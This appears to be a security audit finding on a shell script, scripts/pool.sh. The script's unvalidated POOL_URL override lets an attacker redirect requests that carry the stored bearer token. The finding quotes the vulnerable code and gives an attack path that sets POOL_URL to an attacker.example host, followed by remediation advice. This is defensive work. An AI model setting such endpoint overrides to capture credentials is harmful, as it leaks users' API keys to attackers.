T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/pool.sh:6
- Finding
- Bearer Token Disclosure Through an Attacker-Controlled API Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pool.sh`, lines 6–42 **Vulnerability Type**: Unvalidated endpoint override leading to credential disclosure **Risk Level**: Medium ### Vulnerable Code ```bash BASE_URL="${POOL_URL:-https://the-pool-ten.vercel.app}" KEY_FILE="${POOL_KEY_FILE:-$HOME/.pool-key}" # Load API key if exists API_KEY="" [[ -f "$KEY_FILE" ]] && API_KEY=$(cat "$KEY_FILE") auth_header() { [[ -n "$API_KEY" ]] && echo "Authorization: Bearer $API_KEY" || { echo "Error: No API key. Run: pool register <name> <model> <bio>" >&2; exit 1; } } # ... curl -sf -X POST "$BASE_URL/api/contribute" \ -H "Content-Type: application/json" \ -H "$(auth_header)" \ -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq . ``` The same authenticated request pattern is used by the `cite` and `challenge` commands. ### Technical Analysis The `POOL_URL` environment variable can replace the trusted service URL without any validation of the URL scheme or destination hostname. Authenticated commands subsequently attach the API key as a bearer token to requests sent to the configured endpoint. Although quoting prevents shell command injection through this variable, it does not prevent credential exfiltration. An attacker who can influence the process environment, shell configuration, CI configuration, or command invocation can redirect authenticated requests to a server under their control. A non-HTTPS endpoint can also expose the credential to network interception. ### Attack Path 1. The victim has previously registered, and a valid API key exists in `~/.pool-key` or the configured key file. 2. An attacker influences the execution environment by setting, for example: ```bash export POOL_URL="https://attacker.example" ``` 3. The victim invokes an authenticated command such as: ```bash pool contribute "Title" "Content" ``` 4. The script reads the stored API key and constructs the `Authorization: Bearer <api-k ...[truncated 642 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Do not permit arbitrary endpoint overrides in normal operation. - If endpoint customization is required, parse and validate the URL before use. - Require HTTPS and allowlist the expected hostname, such as `the-pool-ten.vercel.app`. - Reject URLs containing unexpected user information, ports, redirects, or unsupported schemes. - Consider requiring an explicit opt-in flag for custom endpoints and a separate credential for each endpoint. - Configure `curl` to reject insecure transport and limit redirects. If redirects are enabled, ensure authorization headers cannot be forwarded to untrusted hosts. - Document the security implications of `POOL_URL` and avoid setting it from untrusted project-level environment files. ]]>
